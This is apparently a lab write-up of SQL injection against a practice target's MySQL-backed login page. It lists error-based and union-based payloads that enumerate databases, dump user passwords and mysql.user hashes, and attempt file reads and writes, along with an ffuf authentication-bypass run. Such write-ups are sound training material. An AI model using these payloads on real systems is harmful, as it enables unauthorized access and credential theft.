SQL Injection
The discovered login page appears to be vulnerable to SQL injection as sending a single quote character, ', to the username parameter resulted in SQL error.
Based on the error message alone, the backend appears to be MySQL.
Error-based In-band
' AND UPDATEXML(1337,CONCAT('.','~',(SELECT version()),'~'),31337) -- //
Using UPDATEXML method.
The version is 8.0.41
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT database()),'~')) -- //
Using the EXTRACTVALUE method.
The current database is blazeDB
' AND GTID_SUBSET(CONCAT('~',(SELECT current_user()),'~'),1337) -- //
Using the GTID_SUBSET method.
The current user is admin@localhost
Databases (Error-based In-band)
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT schema_name FROM information_schema.schemata),'~')) -- //
A single row is expected
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT schema_name FROM information_schema.schemata LIMIT 1),'~')) -- //
Using LIMIT to set the amount of row returned. 1 in this case. It’s the first one from the top
There is a DB, mysql
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET 1),'~')) -- //
Using OFFSET to change the row
There is the default information_schema DB
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET 2),'~')) -- //
Using OFFSET to change the row
There is the default performance_schema DB
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET 3),'~')) -- //
Using OFFSET to change the row
There is the default sys DB
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET 4),'~')) -- //
Using OFFSET to change the row
There is the current blazeDB DB
blazeDB Table (Error-based In-band)
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT table_name FROM information_schema.tables WHERE table_schema="blazeDB" LIMIT 1 OFFSET 0),'~')) -- //
The sole blazeDB.users table discovered
blazeDB.users Columns (Error-based In-band)
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT column_name FROM information_schema.columns WHERE table_schema="blazeDB" AND table_name='users' LIMIT 1 OFFSET 0),'~')) -- //
The blazeDB.users.id column found
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT column_name FROM information_schema.columns WHERE table_schema="blazeDB" AND table_name='users' LIMIT 1 OFFSET 1),'~')) -- //
The blazeDB.users.name column found
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT column_name FROM information_schema.columns WHERE table_schema="blazeDB" AND table_name='users' LIMIT 1 OFFSET 2),'~')) -- //
The blazeDB.users.password column found
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT column_name FROM information_schema.columns WHERE table_schema="blazeDB" AND table_name='users' LIMIT 1 OFFSET 3),'~')) -- //
The blazeDB.users.phone-number column found
' AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT column_name FROM information_schema.columns WHERE table_schema="blazeDB" AND table_name='users' LIMIT 1 OFFSET 4),'~')) -- //
The blazeDB.users.username column found
blazeDB.users Credential Exfiltration (Error-based In-band)
' AND GTID_SUBSET(CONCAT('~',(SELECT password FROM blazeDB.users WHERE username='admin' LIMIT 1 OFFSET 0),'~'),1337) -- //
Password exfiltrated for the admin user; canttouchhhthiss@455152
mysql.user Credential Exfiltration (Error-based In-band)
' AND GTID_SUBSET(CONCAT('~',(SELECT user FROM mysql.user LIMIT 1 OFFSET 0),'~'),1337) -- //
admin user
' AND GTID_SUBSET(CONCAT('~',(SELECT password FROM mysql.user WHERE user='admin'),'~'),1337) -- //
canttouchhhthiss@455152 is the password. Same as the web credential
' AND GTID_SUBSET(CONCAT('~',(SELECT user FROM mysql.user LIMIT 1 OFFSET 5),'~'),1337) -- //
The default root account
' AND GTID_SUBSET(CONCAT('~',(SELECT password FROM mysql.user WHERE user='root'),'~'),1337) -- //
canttouchhhthiss@455152 is the password. Same as the web credential and that of the admin user
Additionally, it leaked the web root directory; /var/www/blaze.offsec
Read Access (Error-based In-band)
' AND GTID_SUBSET(CONCAT('~',(SELECT LOAD_FILE('/etc/passwd')),'~'),1337) -- //
No output
Likely access denied
Union-based In-band
' UNION SELECT NULL,NULL,NULL,NULL,NULL -- //
There are 5 columns as enumerated above
' UNION SELECT NULL,@@version,NULL,NULL,NULL -- //
It’s the 2nd column that is visible
The version is 8.0.41-0ubuntu0.20.04.1
' UNION SELECT NULL,user(),NULL,NULL,NULL -- //
The current user is admin@localhost
' UNION SELECT NULL,database(),NULL,NULL,NULL -- //
The current DB is blazeDB
Databases (Union-based In-band)
' UNION SELECT NULL,schema_name,NULL,NULL,NULL FROM information_schema.schemata-- //
5 DBs;
mysqlinformation_schemaperformance_schemasysblazeDB
blazeDB Table (Union-based In-band)
' UNION SELECT NULL,table_name,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema="blazeDB" -- //
The sole blazeDB.users table discovered
blazeDB.users Columns (Union-based In-band)
' UNION SELECT NULL,column_name,NULL,NULL,NULL FROM information_schema.columns WHERE table_schema='blazeDB' AND table_name='users' -- //
5 Columns
blazeDB.users.idblazeDB.users.nameblazeDB.users.passwordblazeDB.users.phone-numberblazeDB.users.username
blazeDB.users Credential Exfiltration (Union-based In-band)
' UNION SELECT NULL,GROUP_CONCAT(username,':',password),NULL,NULL,NULL FROM blazeDB.users -- //
Credential exfiltrated; admin:canttouchhhthiss@455152
mysql.user Credential Exfiltration (Union-based In-band)
' UNION SELECT NULL,GROUP_CONCAT(user,':',authentication_string),NULL,NULL,NULL FROM mysql.user -- //
Credential exfiltrated;
admin:$A$005$Qg/"*JPs!rrkudEg,JuvICGCXAsSpnRB83RwsEHL7G/XKu8Mlg7pkbGc/0PB debian-sys-maint:005]SW<Ixv#ZK[@TBcaGf6Oko5CBq1m15xfVMg9n1oodw45BFgV7epnhBL5`
`mysql.infoschema:ATHISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED mysql.session:005ATHISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED root:`
Unfortunately, some characters could not be rendered
Read Access (Union-based In-band)
' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL,NULL,NULL -- //
No output
Likely access denied
Write Access (Union-based In-band)
' UNION SELECT NULL,"test",NULL,NULL,NULL INTO OUTFILE "/var/www/blaze.offsec/test.txt"-- //&password=
Access denied
Time-based Blind
Word, sleep, is a blacklisted word. Redirecting user to the blocked page
benchmark seems to be blocked as well
N/A
Automated
Time-based Attack succeeded but broke the web app, so not viable
Authentication Bypass
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/cockpit]
└─$ ffuf -X POST -c -w /usr/share/wordlists/seclists/Fuzzing/Databases/MySQL-SQLi-Login-Bypass.fuzzdb.txt -u http://$IP/login.php -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=FUZZ&password=qwe' -ic -mc all
________________________________________________
:: Method : POST
:: URL : http://192.168.152.10/login.php
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Fuzzing/Databases/MySQL-SQLi-Login-Bypass.fuzzdb.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=FUZZ&password=qwe
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
________________________________________________
'OR 1=1-- [Status: 200, Size: 806, Words: 81, Lines: 16, Duration: 23ms]
'OR '' = ' Allows authentication without a valid username. [Status: 302, Size: 769, Words: 69, Lines: 29, Duration: 23ms]
<username>'-- [Status: 200, Size: 808, Words: 81, Lines: 16, Duration: 24ms]
' union select 1, '<user-fieldname>', '<pass-fieldname>' 1-- [Status: 200, Size: 809, Words: 81, Lines: 16, Duration: 24ms]
<username>' OR 1=1-- [Status: 302, Size: 632, Words: 48, Lines: 16, Duration: 25ms]
:: Progress: [5/5] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::'OR '' = ' works